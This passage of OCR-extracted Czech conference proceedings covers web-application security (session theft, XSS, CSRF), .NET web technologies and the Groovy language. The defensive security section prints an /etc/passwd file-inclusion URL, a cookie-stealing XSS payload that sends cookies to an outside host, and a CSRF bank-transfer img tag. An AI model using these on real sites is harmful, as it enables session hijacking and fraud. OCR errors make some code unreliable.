a uzivatel zavola URL takto index.php?file=/etc/passwd ziska i obsah to-
hoto souboru. Nejjednodussi obranou je striktni kontrola parametru dle seznamu
povolenych hodnot.

KradeZ Session

Protoze je HTTP bezstatovy protokol, ale vSichni potrebuji alespon urcitou
formu stavu pfendset, pouzivd se mechanizmus sezeni (session). UZzivateli je pfi
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prvnim pfistupu vytvoreno sezeni a je pridélena jeho identifikace — pomoci cookie
nebo pomoci predavani v URL.

Z tohoto duvodu lze sezeni také zneuzit. Staci ziskat identifikator sezeni
a muzu tak predstirat korektné prihlaseného uzivatele. Proto je nutné identi-
fikdtory sezeni generovat opravdu ndhodné (s rovnomérnym rozlozenim) a jesté
lépe kontrolovat i IP adresu uzivatele.

Problém nastane v piipadech, kdy uzivatel nechce zadévat jméno a heslo
kazdych nékolik hodin, ale chce byt pfihlasen i nékolik tydnt (uzivatelova adresa
se pak bude 1 ménit).

Pokud pouzivate cookie, je nutné spravné zajistit omezeni cookie na doménu,
kontrolu IP adresy a také dobu platnosti. Musite také zajistit, aby na vasem
serveru nebyl mozny Cross Site Scripting Gtok (viz nize).

Pokud ukladate identifikaci v URL, je nutné zajistit, aby se URL neobjevilo
na zadném jiném serveru jako HTTP Referer (ze které stranky uZivatel pfisel).
Musite tedy provést nékolik krokt. Nejprve zabranit nacitani obrazkd z jinych
nedtvéryhodnych serverti. Pfi odkazovani na jiny server musite udélat presmeé-
rovani uzivatele — tj. pomoci refresh v HTML strance uzivatele pfesmérujete
na novou stranku. Nelze totiz v tomto piipadé pouzit presmérovani v protokolu

HTTP (302 Location), protoZe nedojde ke zménéné refereru.
Ukazka utoku:

<img src=javascript:document.location=
"http://www.mujweb.cz/stealer.php?cookie="+document.cookie;/>

Cross Site Scripting (XSS)

P1i zobrazovani vstupti od uzivatele je nutné zajistit, aby veskery vystup nebyl
do stranky zapsan pfimo, ale jako text. Jinymi slovy, musi dojit k nahrazeni
znaki za jejich entitni vyjadfeni < za &1t;, > za &gt; a & za &amp;.

Nejlepsim FeSenim je pouzivat takové systémy, které pri vypisu textu na
obrazovku rovnou vse spravné prevedou na entitni vyjadieni. Texty, které pre-
vést nechceme, pak musime explicitné oznacovat. Pokud by tomu bylo naopak
(oznadili bychom text, ktery se mé pfevést), mohli bychom snadno pfehlédnout
nebezpeéné misto a zpusobit tak chybu typu XSS.

Problém ovSem nastane v pfipadé, kdy chceme ve www strance pouzit WY-
SIWYG editor. Tyto editory vytvari HTML kéd, ktery je pak nahran na server.
Pak ovSem musite velmi intenzivné otestovat vstup od uzivatele. Zde proti nam
hraje fakt, ze HTML je velmi odolné véi chybdm v kédu (nevalidni kdéd), ale
zpusob jakym se prohlizece zotavuji z chyby, neni ve standardu zcela definovéan,
a proto ruzné prohlizece Fesi tento problémem odlisné. Nastésti jiz dnes exis-
tuji knihovny, které dokéazi zkontrolovat a procistit kéd (odstranit nepovolené
znacky).
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Cely proces kontroly lze tedy rozdélit na nékolik ¢asti:
e oprava HTML kédu (doplnéni chybéjicich znacek),
e kontrola a pfipadné odstranéni nepovolenych znacek.
Pro opravu HTML kédu mtzeme pouzit naptiklad knihovnu NekoHTML:

String text = "<strong>ahoj";

DOMFragmentParser parser = new DOMFragmentParser();

HTMLDocument htmlDocument = new HTMLDocumentImpl() ;
DocumentFragment fragment = htmlDocument.createDocumentFragment () ;
StringWriter sw = new StringWriter();

// zde je dilezita definice filtrd, které se maji na HTML aplikovat
XMLDocumentFilter[] filters = { new Purifier(), new Writer(sw,"utf-8") };

parser.setProperty("http://cyberneko.org/html/properties/filters",
filters);

parser.setProperty("http://cyberneko.org/html/properties/names/elems",
"lower");

InputSource is = new InputSource(new StringReader(text));
parser.parse(is, fragment);
System.out.println(sw.toString());

Vysledkem tedy bude ¢ ‘<strong>ahoj</strong>.

Déle je nutné zkontrolovat povolené znacky — zde mizeme pouzit knihovnu
AntiSamy. Jedna se o snadno pouzitelnou knihovnu, kterd na zakladé konfigu-
rac¢niho souboru dokaze HTML kéd zkontrolovat:

Policy policy = new Policy(POLICY_FILE_LOCATION);
AntiSamy as = new AntiSamy();

CleanResults cr = as.scan(dirtyInput, policy);
System.out.println(cr.getCleanHTML()) ;

Konfiguracni soubor umoznuje definovat povolené znacky, atributy a pouzité
kaskadové styly. Protoze vytvotit tento soubor je pomérné narocné, existuje sada
jiz existujicich, které je mozné pouzit. Jmenuji se slashdot, ebay, myspace a snazi
se chovat stejné jako filtry pouzité na stejnojmennych serverech. MtiZete je pouzit
pfimo a nebo si je dale upravit pro svoje potieby.

Poznamka: Pokud pfemyslite nad nazvem projektu AntiSamy, tak vézte, Ze
Samy se jmenoval slavny XSS virus napadajici MySpaces.
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Cross Site Request Forgery (CSRF)

Pokud je stranka dobie zabezpe¢nd proti XSS utoktm, jesté stdle nemame vy-
hrano. Predstavte si pfipad, Zze uzivatel navstivi stranku s timto HTML kédem:

<img src="http://www.banka.cz/submitTranser/?account= 1/1234&
amount=1000000&confirm=1">

Pokud by bankovni systém ocekaval jen parametr confirm=1 pro potvrzeni
operace, mohlo by nasledovat skutecné odeslani penéz. Pokud by totiz uzivatel
byl pravé prihlasen v bankovnim systému a ma stale platné cookie, bude po-
zadavek zpracovan. Obranou neni ani vyzadovani pfijmu dat metodou POST,
protoze i to lze pomoci JavaScriptu snadno provést.
zovat i jinym zptisobem — napf. pomoci SMS. Pak nelze operace z prohlizece
nijak podvrhnout. Dal$i moznosti je pouziti CAPTCHA, i kdyZ v posledni dobé
Ize strojoveé Tesit i to.

Nastésti bezpecnostni mechanismy v prohlize¢i neumozni JavaScriptu precist
obsah HTML stranky z jiného serveru (tj. provést XmlHTTPRequest na jinou
doménu). A tohoto faktu také musime vyuzit.

Pro zabranéni CSRF u ostatnich systémii je tedy nutné pouzivat tyto metody:

e Pii zobrazeni formulafe uzivateli vygenerovat ndhodny kéd a ocekavat jej
pti dalsim odeslani. Tento kéd musi byt nahodny a pro kazdého uzivatele
jiny. Nasledné pfi odeslani formulafe musime kéd zkontrolovat.

e Kontrolovat pofadi stranek. V systému se uzivatel pohybuje ze stranky na
stranku pfedem danym zptisobem (nejdiive se pfihlasi na tcet, pak roz-
klikne menu, zvoli provedeni platby a formulaf odesle). Podvodn4 stranka
obvykle musi jit pfimo na cilovou stranku.

e Mit co nejkratsi platnost session. Pokud je uzivatel odhlasen z bankovniho
systému, zadné takové riziko nehrozi.

Aby vSechny tyto mechanismy fungovaly, je nutné zajistit, aby nemohlo na
celém serveru nikde nastat XSS. Jinak by tto¢nik mohl kédy snadno precist
a emulovat sekvence navstév stranek. Proto by samotny systém (napt. bankovni)
mél byt oddélen doménou (3. Groveti domény by méla byt dostateénd) od dalsich
okrajovych sluzeb (napf. férum ¢i blog). Tim lze riziko XSS vyrazné snizit.

Bohuzel obrana proti CSRF jde ¢astecné proti filozofii HT'TP. Uzivatel ne-
mize primo pristoupit na webovou stranku ze zalozek. Nelze tak napf. pfimo
do e-mailu, ktery informuje o pfidani prispévku, uvést odkaz na smazani bez
potvrzeni.
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Shrnuti

Je velmi dtlezité zajistit, aby cela aplikace neméla bezpecnostni chyby. K nej-
horsim dnes patii XSS a CSRF utoky. Musime proto upravit aplikaci, aby atoky
nebyly mozné. To ovSem neni snadné a vyzaduje explicitni kontrolu celé apli-
kace. Pokud umozZnite na strance i byt jediné XSS, nelze se uz nijak branit proti
CSRF.

Zaroven diky ¢astému nasazeni AJAXu, REST a technologii typu JSON jsme
dali toéniktim velmi silnou zbran do ruky a pokud umoznime XSS, jiz se nelze
bez ovéfeni jinym kandlem branit (napf. sms).

Bohuzel obrana proti CSRF jde ¢astecné proti filozofii HT'TP. Uzivatel ne-
miize pfimo pfistoupit na webovou stranku ze zalozek.
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PODPORA A IMPLEMENTACE NOVYCH WEBOVYCH
TECHNOLOGII V NASTROJICH MICROSOFTU

Stépan Bechynsky

E-MAIL: STEPAN.BECHYNSKYQMICROSOFT.COM

Nevim jestli oznaceni ,nové webové technologie® je tiplné piesné. Plno tech-
nologii, které se na soucasném webu pouzivaji jsou jiz starsiho data, ale te-
prve nyni, se pro né naslo masové uplatnéni pripadné jsou in, cool a trendy.
Vsechny technologie, které si zde ve struc¢nosti popiseme jsou dostupné v .NET
Framework 3.5 SP1.

ADO.NET Data Services — podpora RESTFul webovych sluzeb. Jako velkou
vyhodu vidim moznost serializace dat pomoci JSON.

ASP.NET Dynamic Data — slouzi pro co nejrychlejsi tvorbu webovych ,edi-
tord“ dat v databazi. Cel4 aplikace je v podstaté vygenerovana automaticky.

ASP.NET AJAX Extensions — sada knihoven, které znacné zjednodusuji
tvorbu aplikaci, které vyuzivaji asynchronni voldni pomoci objektu XMLHtt-
pRequest. Potfebny kéd v Javascriptu je generovan na strané serveru a automa-
ticky Tesi rozdilné chovani prohlizeci.

ASP.NET MVC — implementace tolik popularniho navrhového vzoru MVC.
ASP.NET MVC je zatim v rané fazi a neni souc¢asti .NET Framework.

Silverlight — zjednodusené feceno jde o ,,Microsofti Flash“. Z hlediska vyvo-
jare je asi nejzajimavéjsi jadro Silverlight, které je v podstaté podmnozina .NET
Framework rozsifena o podporu jazyka Python a Ruby.

Geospatial data — se stale vzristajici popularitou map na webovych strankach
prisel SQL Server 2008 s podporou GIS, ktera je dostupné i v neplacené verzi
SQL Server 2008 Express.

HTML 5 — Internet Explorer 8 umoznuje vyuzivat n€které ¢asti s pripravo-
vané paté verze HTML.

Popsané technologie se tykaji hlavné ,klasickych“ webovych aplikaci. Webové
aplikace, jak je zname dnes, maji obrovskou vyhodu v tom, ze sta¢i mit prohli-
ze¢, pripojeni k internetu a webovou aplikaci mohu pouzivat v podstaté kdekoliv.
Tento koncept se stava nepouzitelnym ve chvili, kdy nemam dostate¢né kvalitni
pfipojeni k internetu a nebo vyuzivam k praci néco jiného nez je klasické PC.
Klasicky ptiklad je obchodni cestujici, ktery nemé notebook kviili malé vydrzi
baterie a pohybuje se v mistech, ktera maji Spatné pokryti sité GSM. Staci jet do
mensiho mésta a s 3G siti se mizete rozloucit a mobil s rozliSenim 1280 x 1024
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jsem taky nevidél. Proto .NET Framework 3.5 SP1 podporuje tvorbu klient-
skych aplikaci pro rizné typy zafizeni, jako jsou mobilni telefony, specializované
terminaly nebo tfeba hodinky v navaznosti na rtzné typy webovych sluzeb.

Co se mi nejvice libi na popsanych knihovnach, zejména diky mé vrozené
lenosti, je jednotna platforma .NET, takze se nemusim kvuli kazdé technologii
udit néco jiného nebo pouzivat jiny nastroj. Vystacim si s Visual Studio 2008 :-)
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DYNAMICKE PROGRAMOVACI JAZYKY

Vaclav Pech

E-MAIL: VACLAVQINTELLIJ.NET

Abstrakt

Cilem prispévku je uvodni seznamend s vlastnostmi dynamickiyjch programovacich jazyki
na konkrétnim prikladé moderniho jazyka Groovy. Sezndmime se se zdkladnimi rysy
dynamickych jazyki a jejich odlisnostmi od statickych jazykiu, osvétlime si principy
skriptovdni a meta-programovdni a popiseme si néekolik prikladu domén vhodnych pro
jejich nasazeni. V ¢élanku jsou strucné popsany i nékteré zajimavé odlisnosti syntaxe
jazyka Groovy a syntaxe jazyka Java, z néhoZ Groovy vychdzi.

Uvod

Dynamické programovaci jazyky jako Ruby, Python, JavaScript ¢i Groovy zis-
kévaji na popularité mezi vyvojari a uplatiiuji se na mnoha projektech rtizného
skriptl, obsluhy udéalosti uvniti webovskych stranek ¢i prototypovani aplikaci
po kompletni tvorbu rozsahlych systémr.

Dynamické jazyky nejsou nové. Za predchiidce a inspiraci pro mnohé soucasné
dynamické jazyky lze oznacit napt. Smalltalk, ktery byl pouzivan jiz v 80. le-
tech minulého stoleti. Mezi pokrocilé dynamické jazyky soucasnosti patfi Ruby,
Python, JavaScript, Groovy, Lisp, Perl, Erlang, PHP nebo Objective-C.

Kolem dynamickych jazykt se rozrostla aktivni komunita vyvojairt a mnohé
programéatorské nastroje dnes dynamické jazyky podporuji.

Dynamické a statické programovaci jazyky

Dynamické jazyky se od statickych jazykt odlisuji pfevazné tim, ze velké mnoz-
stvi akci, které jsou u statickych jazykt provadény béhem kompilace, se bud
neprovadi, nebo se vykonava az za béhu programu. Typickym ptikladem je vy-
volavani metod, kdy namisto kompilatoru, ktery by do kédu vlozil adresu volané
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metody, je az za béhu programu vykonan kéd, ktery rozhodne, jaka metoda bude
zavolana. Stejné tak je mozné az za béhu programu definovat typy ¢i je modifiko-
vat a kombinovat, a tim ovlivnit chovani programu. Vyuzivani téchto schopnosti
se Casto souhrnné oznacuje pojmem ,meta-programovani®.

Dynamické typovani

Jako jazyky s dynamickym typovanim se oznacuji jazyky, které neprovadi kont-
rolu typl proménnych, parametri metod ¢i navratovych hodnot pii kompilaci.
Kéd tedy nemusi obsahovat informaci o typech, nebo ji obsahovat mize, ale ke
kontrole spravnosti typt dochazi az za béhu programu.

Ackoliv je vétSina dynamickych jazykt soucasné dynamicky typovand, exis-
tuji i staticky typované dynamické jazyky.

Dale se podle typu typové kontroly rozliSuji na slabé a silné typované, ¢i
typové zabezpedené (safely typed) a nezabezpedené (unsafely typed). Pro po-
drobnosti odkazuji na [5].

Rysy dynamickych jazyku

Dostupné definice dynamickych programovacich jazykd jsou pomérné vagni.
Jako rozliSovaci kritérium mezi statickymi a dynamickymi jazyky se ¢asto pou-
ziva schopnost daného jazyka zpfistupnit programatorovi své dynamické vlast-
nosti a pouzit je v programu. Za vlastnosti typické pro dynamické jazyky se
nejcastéji povazuji nasledujici rysy:

Modifikace objektu za béhu

Dynamické jazyky obsahuji mechanismy, jak za béhu zménit kéd béziciho pro-
gramu, napriklad pozménit ¢i vytvorit definici t¥idy, pfidat novou metodu ke
tFidé ¢ konkrétni instanci nebo vytvofit novy typ jako kombinaci (mixin) néko-
lika typ1.

Funkce eval — vykonani nového kédu
Dynamické jazyky jsou schopné za béhu programu interpretovat data, reprezen-
tovana nejcastéji ve formé textu, jako kéd a vykonat ho.

Continuations — preruseni vypoctu

Neékteré jazyky nabizeji moznost pferuseni vypoctu a uchovani stavu rozpraco-
vaného vypoctu tak, aby mohl byt dany vypocet znovu pozdéji obnoven.
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Funkcionalni programovani

Dynamické jazyky v mnoha piipadech obohatily sviij objektové-orientovany za-
klad o prvky funkcionalniho programovani.

Higher-order funkce

Dalsi jazyky nabizeji moznost definovat funkce, které akceptuji funkce jako své
parametry ¢i je vraceji jako své navratové hodnoty.

Closures

Obvyklym rysem dynamickych jazykt je moznost definovat na syntaktické arov-
ni typy pro funkce, vytvaret jejich instance, uklddat reference na né do promén-
nych a predavat je jako parametry ¢i navratové hodnoty metod.

Reflection

P1i intenzivnim vyuzivani dynamickych vlastnosti jazyka je také dulezita schop-
nost za béhu programu analyzovat aktualni typovou informaci ¢i metody do-
stupné na konkrétni t¥idé nebo instanci.

Groovy

Groovy a svét Javy

P1i vyvoji vétsiny softwarovych projektd se dnes pouzivaji rizné programovaci
jazyky. Typicky projekt na platformé Java v sobé kombinuje dalsi jazyky jako
SQL pro komunikaci s relac¢ni databazi, HTML a CSS pro definici uzivatelského
rozhrani, XML pro konfiguraci ¢i Ant pro automatizaci prekladu a sestaveni sys-
tému. Hlavnim jazykem ovSem ztistava Java, coz je staticky, staticky typovany
programovaci jazyk. Vzhledem k rostouci popularité dynamickych jazykid v po-
sledni dobé silily uvnitf Java komunity snahy o pfidani dynamickych schopnosti
také na platformu Java.

Groovy je dynamicky, dynamicky typovany, objektové orientovany, skrip-
tovaci programovaci jazyk, inspirovany jazyky Ruby, Smalltalk ¢i Python. Od
svého pocatku (v roce 2003) byl jazyk Groovy koncipovan jako skriptovaci ja-
zyk pro Java Virtual Machine (JVM). Jeho cilem neni nahradit Javu na pozici
mainstreamového jazyka pro JVM, ale zacelit existujici mezeru a umoznit Java
vyvojarim pouzit a jednoduse integrovat dynamické schopnosti na JVM.

Pro dplnost je vhodné uvést, ze soucasné s Groovy se dnes jako dynamické
jazyky pro JVM nabizeji také JRuby a Jython.
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Charakteristika jazyka Groovy

Syntaxe Groovy vychazi ze syntaxe Javy a az na nékolik malo odlisnosti lze
oznacit syntaxi Groovy za rozsifeni syntaxe Javy. Diky tomu predstavuje Groovy
pro Java programatory pomérné pohodlnou cestu do svéta dynamickych jazyk.

Zdrojové soubory jsou piekladany Groovy kompildtorem do Java bytecode,
ktery je poté mozno spustit na JVM. Generovany bytecode je plné kompatibilni
s JVM, a tudiz se hladce integruje do projektd na platformé Java. V Groovy
kédu je mozné vyuzivat existujici knihovny a stejné tak je mozné Groovy kéd
nasadit na existujicich aplikac¢nich servrech. V Groovy je rovnéz mozné psat kom-
ponenty pro popularni komponentové frameworky jako Seam ¢i Spring. Vsechna
vyznamna vyvojova prostiedi pro Javu vyvoj v Groovy a integraci Groovy a Java
kédu v jednom projektu podporuji.

Jako dynamicky typovany jazyk nevyzaduje Groovy uvadéni typové infor-
mace u proménnych, parametri ¢i navratovych hodnot metod. Typova informace
je volitelna a typova kontrola se provadi za béhu programu. Jako dynamicky ja-
zyk umoznuje Groovy meta-programovani. Za béhu je mozné modifikovat typy,
pridavat ¢i ménit kéd metod ¢ interpretovat data jako kéd (skriptovani).

Dynamické schopnosti jazyka Groovy maji v porovnani s Javou dva vy-
znamné dusledky. Jednim je neschopnost kompilatoru provadét typovou kon-
trolu. Chybéjici typova kontrola je negativné vniména praveé pii prechodu ze
staticky typovaného prostiedi Javy. Existuji ovSem techniky, které mohou chy-
bé&jici typovou kontrolu ¢asteéné zastoupit, jako disledné pokryti kédu testy,
revize kodu, parové programovani ¢i pouziti modernich vyvojovych prostiedi
s podporou statické analyzy Groovy kdédu.

Druhym dtsledkem je nizsi rychlost vykonavani dynamického kédu. Vykon-
nostni rozdily mezi Java a Groovy kédem se diky tpravam mechanismu meta-
programovani a postupnému zdokonalovani pirekladu dafi postupné stirat.

Vybrané pasaze Groovy syntaxe

Vzhledem k tomu, ze syntaxe Groovy v podstaté rozsifuje syntaxi Javy budeme
se v ¢lanku nadale zabyvat pouze nékterymi zajimavymi rozsifenimi. Pro kom-
pletni piehled doporucuji [1].

Properties

Jako zakladni elementy mnoha t¥id, Groovy podporuje properties na syntak-
tické irovni. Neni tudiz nutné definovat standardni pfistupové metody pro ¢teni
a zapis hodnot properties. Groovy rovnéz umoznuje ptistupovat k hodnotam pro-
perties pfimo, s tim, Ze volani pfislusné pristupové metody vlozi do vysledného
kédu kompilator.
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class Programminglanguage {
String name
String version
Boolean easy=true

}
def groovy=new ProgrammingLanguage (

name: ‘Groovy‘, version:‘1.5¢, easy:true)
def java=new Programminglanguage (name: ‘Java‘)
java.version=‘1.6°

Obr. 1: Definice a pouziti properties

P¥i konstrukei objektt je mozné vyuzit pfedavani parametrt pfes jméno (na-
med parameters) a tim se vyhnout nutnosti definovat konstruktory pro rizné
kombinace parametri.

Closures

Groovy umoznuje definovat closures pomoci slozenych zavorek a také definuje
typ Closure. Definice parametri je od téla metody oddélena znaky ->.

Closure multiply = {int a, int b -> return a*b}

Obr. 2: Definice closure v Groovy

Closures s jednim parametrem mohou vyuzit zkracené syntaxe s implicitnim
parametrem it.

def tripplel = {int number -> number * 3}
def tripple2 = {number -> number * 3}
def tripple3 = {it * 3}

Obr. 3: Closure s jednim parametrem a riznymi moznostmi zapisu

7 ukazek je patrno, Ze definice typl parametri, stejné jako pouziti stied-
nikd k ukonceni fadki, je nepovinna. P¥i vynechéani klicového slova ,return“ je
z metody navracen vysledek posledniho provedeného vyrazu metody.

Prace s kolekcemi

Groovy zavadi specialni syntaxi pro praci s kolekcemi a mapami z balicku
java.util. * a umoZiiuje na nich vyvolavat iterativni metody, akceptujici jako pa-
rametr closure, kterd ma byt vykonana na kazdém prvku kolekce. Tyto tpravy
maji za cil zprijemnit a zprehlednit ¢asto pouzivany kéd.

assert [2, 4, 6] == [1, 2, 3].collect{it*2}
Obr. 4: Ukazka syntaxe pro praci s kolekcemi

Pro podrobnosti o praci s kolekcemi a mapami odkazuji na [1] & [3].
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Groovy Development Toolkit

Soucasti Groovy je také sada zakladnich knihoven, oznacovana jako Groovy De-
velopment Toolkit (GDK) podobné jako Java nabizi Java Development Toolkit
(JDK). GDK je vystavén na dynamice jazyka Groovy a do velké miry tedy
uplatiiuje meta-programovani a closures. Po implementacni strance je GDK dy-
namické rozsiteni JDK. GDK pomoci meta-programovani ,,obaluje“ standardni
knihovni tfidy z JDK novou funkcionalitou, ktera je uzpisobena pro vlastnosti
jazyka Groovy. Diky tomuto pristupu mohou byt i v Javé nerozsititelné tiidy
jako java.lang.String rozsifeny o nové metody. TFidy z baliku java.util. ¥, stejné
jako cisla ¢i intervaly umi pracovat s closures.

(1..10) .each{number -> println number * 3}
1.upto(10){println it * 3}
[1, -2, 0, -9, 3].findA11{it > O}

Obr. 5: V Groovy umi i ¢isla ¢i intervaly iterovat a na jednotlivé prvky volat
closure

Operatory

Kromé standardnich operatort znamych z Javy definuje Groovy nékolik novych.
Zminil bych operdtor pro bezpeéné odkazovani (safe dereference), ktery pod-
statné redukuje kéd hlidajici null hodnoty.

if (order?.customer?.company?.address?.city==‘Prague‘)

Obr. 6: Safe dereference operator

Jako dalsi zajimavy operator bych uvedl spread-dot operator. Tento ope-
rator poskytuje syntaktickou zkratku pro zavolani libovolné metody na vSech
objektech ulozenych v kolekci.

customers*.name

Obr. 7: Spread-dot operator vrati kolekci obsahujici jména vsech zdkaznika v ko-
lekci

Na prikladu operatoru pro dynamické pretypovani je nazorné vidét schopnost
dynamickych jazykt ménit typ objektl za béhu.
Closure closure ={->println ‘Running in a~separate thread‘}

Runnable runnable=closure as Runnable
new Thread (runnable)).start()

Obr. 8: Operator dynamického pretypovani pfevede Closure na Runnable

Groovy dale nabizi operatory pro praci s regularnimi vyrazy, mapami
a mnoho dalsich. Pro podrobny vycet novych operdtort odkazuji na [1] a [3].
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PietéZovani operatoru

Programatori si mohou pro své tfidy pfedefinovat operatory. Chovani urcitého
operatoru je na zakladé jmenné konvence definovano metodou stejného jména.
Napf. operator + je definovan metodou nazvanou plus, operator * metodou
multiply.

Parametrizované stringy

Stringy v Groovy mohou byt parametrizovany pomoci vlozenych blokd Groovy
kédu. Takto je mozné pohodlné upravovat vyslednou podobu textu podle aktu-
alnich hodnot v okolnim kédu.

def emailText= ¢¢‘‘¢

Dear ${customer.name},
thank you for your email on ${customer.lastEmail.topic}.
${customer.lastEmail.date < 1.week.ago ?

‘‘Sorry for not responding for so long’’:’’}

Yours $currentUser.name
23300

Obr. 9: Parametrizovany Groovy String

Za povsimnuti jisté stoji i moznost vkladat rozhodovaci logiku ¢i iterace.

Priklady pouziti Groovy

Testovani

Groovy lze Uspésné pouzit na psani automatizovanych testi. Diky jeho tésné
integraci s Javou je mozné pomoci testi napsanych v Groovy testovat nejen
Groovy, ale také Java kéd. Groovy, kromé zahrnuté podpory pro testovaci kni-
hovnu JUnit, obsahuje nékolik specialnich konstrukti (assert, shouldFail apod.)
vhodnych pravé pro psani testi. Meta-programovani zjednodusuje tvorbu za-
stupnych (Stub a Mock) objekti.

Skriptovani

Jako dynamicky programovaci jazyk umoznuje Groovy pridavani a vykonani
kédu za béhu programu. K tomuto tcelu aplikace pfedlozi zdrojovy soubor v ja-
zyce Groovy nebo proménnou typu String obsahujici Groovy kéd k prekladu,
napiiklad pomoci t¥idy GroovyShell. Predlozeny kdd je mozné chapat jako skript
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k vykonéani, test ¢i aplikaci ke spusténi nebo definici nové tridy, jejiz instance je
mozné poté vytvaret.
def classDefinition = new GroovyShell().evaluate(codePane.text)

Runnable task = classDefinition.newInstance()
new Thread(task).start()

Obr. 10: Ukézka prekladu a vykonani kédu s definici nové tfidy za béhu programu

Schopnost skriptovani dava celou fadu moznosti vyuziti. Uzivatelé aplikaci
mohou snadno ovlivnit jejich chovani ¢i vzhled a nejsou omezeni zabudovanymi
konfigura¢nimi schopnostmi danych aplikaci. Skriptovani je mozné pouzit ke
stejnym ucelim ke kterym jsou v popularnich kancelafskych aplikacich pouzity
makro jazyky — umoznit uzivateltim psat kratké programy, které automatizuji ¢i
upravuji chovani aplikace. Nésledujici kéd napt. piida do aplikace nové tlacitko
a definuje chovani po jeho stisknuti.

customPanel . add(
new groovy.swing.SwingBuilder () .button(
’Click me’,
actionPerformed: {println ’Clicked’}))
customPanel.revalidate()

Obr. 11: Koéd skriptu, ktery do hostujici aplikace pfida nové tlac¢itko

Dalsi moznosti je vyuzit skriptovani k testovani a analyze bézicich aplikaci.
Administrator systému mé mozZnost ovéfit vnitini stav aplikace pomoci nékolika
predem pripravenych ¢i ad-hoc skripti, které otestuji vnitini hodnoty a chovani
aplikace.

Zvlasté v perspektivé spojeni s doménoveé specifickymi jazyky, které nabizeji
moznost definice jednoduchych dedikovanych jazykt, nabizi skriptovani velky
potencial pro zapojeni koncovych uzivatel do aktivni interakce s aplikacemi. Do-
ménove specifické jazyky snizuji bariéru, ktera brani ne-programatorim v psani
kédu. Se vzrustajici popularitou interaktivnich aplikaci na internetu, umoznu-
jicich uzivatelim aktivné vytvaret a ménit obsah, budou tyto schopnosti jisté
velmi vyuzivané.

Doménoveé specifické jazyky

Dynamické programovaci jazyky jsou velmi ¢asto pouzivany pro tvorbu internich
doménové specifickych jazykid (viz [2]). Volnd pravidla ohledné zavorek, ukon-
Ceni Fadku, indikace navratovych hodnot a uvadéni typové informace, stejné
jako dostupnost closures, implicitnich parametri, pretéZovani operatort, tvorba
mixins a moznost meta-programovani jsou vlastnosti, které definici doménové
specifickych jazyk® usnadnuji.
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Meta-programovani

Sila a flexibilita dynamickych jazyka se naplno projevi pfi meta-pogramovani
Tento termin obecné oznacuje zmény programu za jeho béhu. Umoziuje za béhu
definovat nové typy ¢i existujici typy modifikovat nebo kombinovat.

Meta-class

V Groovy je pro dynamiku vyuzit koncept meta-tiidy. Kazda tfida bez ohledu
na to, zda jde o Java ¢ Groovy t¥idu, je v Groovy doplnéna svoji meta-t¥idou,
ktera ovliviiuje chovani ptivodni t¥idy.

Obr. 12: Kazda trida je doplnéna meta-tiidou

Kazdé volani metody ¢i pristup k property urcité tiidy je pii prekladu pre-
veden na volani metody invokeMethod na prislusné meta-tiidé a ta rozhodne,
ktera metoda se ve skutecnosti vyvola a co udélat, pokud volana metoda neni de-
finovana na cilové t¥idé. Meta-tiida sama dovoluje definovat za béhu své metody
a properties, které prekryji metody a properties ,obalené“ t¥idy.

String.metaClass.backToFront = {->
delegate[-1..0]

}

println ’abcdef’.backToFront ()

Obr. 13: Definice metody na meta-ttidé prislusné ke t¥idé java.lang.String a jeji
vyvolani
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Pridédvanim ¢i modifikaci metod a properties na piislusné meta-tiidé lze za
béhu programu ménit chovani liboolné Java ¢i Groovy tfidy. Na stejném principu
je vystavén GDK jako rozsifeni JDK, kdy GDK definuje pozadované zmény
chovani JDK tfid apravou jejich meta-tiid.

Groovy rovnéz nabizi moznost pfifadit meta-t¥idu i pro konkrétni jednotlivé
instance urcité tiidy a tim ménit chovani pouze urcitych instanci dané ttidy.

Jako praktickou ukadzku bych rad uvedl pfiklad na obrazku 14, kdy diky
meta-programovani je mozné pridat ke tiidé ReentrantLock metodu withLock,
ktera zajisti spravnou sémantiku prace se zamkem. Pivodni komplikovany kéd
je mozné nahradit kédem mnohem c¢itelnéjsim, a tim robusnéjSim.

ReentrantLock lock = new ReentrantLock()

//ptvodni styl prace se zamkem
lock.lock()
try {

println ’Holding the lock’
} finally {

lock.unlock()
}
println ’Not holding the lock’

//definice nové metody
ReentrantLock.metaClass.withLock = {nestedCode ->
delegate.lock()
try {
nestedCode ()
} finally { delegate.unlock() }
}

//novy styl prace se zamkem
lock.withLock {
println ’Holding the lock’

}
println ’Not holding the lock’

Obr. 14: Rozsifeni tiidy ReentrantLock

Invoke method

Dalsi moznosti, jak mtze programéator zménit chovani urc¢ité t¥idy, je modifikace
metody invokeMethod, a to bud na meta-t¥idé, nebo na konkrétni t¥idé.

Metoda invokeMethod méa moznost analyzovat jméno pozadované metody
a jejl parametry, testovat, zda voland metoda na dané t¥idé ¢i meta-tFidé existuje,
predat parametry libovolné existujici metodé ¢i oSetrit volani sama.
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class Company {
List<Employee> employees = []
public Object invokeMethod(String methodName, Object o) {
def matcher = methodName =~ ’findAll(.*)Employees’
if (matcher.matches()) {
String action = matcher.group(1)
if (action.toLowerCase() in [’senior’,’experienced’]) {
return employees.findAll {it.age > 30}
}
if (action.toLowerCase() in [’junior’,’fresh’]) {
return employees.findAll {it.age <= 30}
}
}

return super.invokeMethod(methodName, o);
}

println "Senior employees ${company.findAllSeniorEmployees().name}"
println "Expert employees
${company.findA11ExperiencedEmployees() .name}"

println "Junior employees ${company.findAllJuniorEmployees().namel}"
println "Fresh employees ${company.findAl1FreshEmployees}().name}"

Obr. 15: Predefinovani invokeMethod dovoluje reagovat na volani neexistujicich
metod

Tento princip lze s tspéchem pouzit, pokud ma dané t¥ida reagovat na volani
neexistujicich metod, naptiklad pro umoznéni dotazi jako napr. na obrazku 15
metodami spliujicimi néjaky regularni vyraz.

Method missing, property missing

Pokud voland metoda neexistuje na tfidé ani na meta-tiidé, bude, podobné jako
ve Smalltalku, vyvolana metoda methodMissing, pripadné propertyMissing, ktera
ma posledni Sanci oSetTit volani a zabranit vyhozeni vyjimky. Tento mechanismus
se Casto vyuziva napriklad k dodefinovani volané metody za béhu az v reakci
na samotné volani. Voland metoda ¢i property je tedy uvnitt methodMissing
Ci propertyMissing dodateéné definovana a pridana k meta-tfidé pro opétovné
pouziti pti dalsich volanich.

Kategorie

Kategorie nabizi dalsi moznost zmény chovani objekt. V Javé byva pomérné
Casté, Ze se funkcionalita nékterych objektti definuje pomoci pomocnych (hel-
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per) t¥id a jejich statickych metod. Typickym piikladem jsou rtizné StringUtils,
ArrayUtils a podobné pojmenované tiidy, definujici metody pro praci se Stringy,
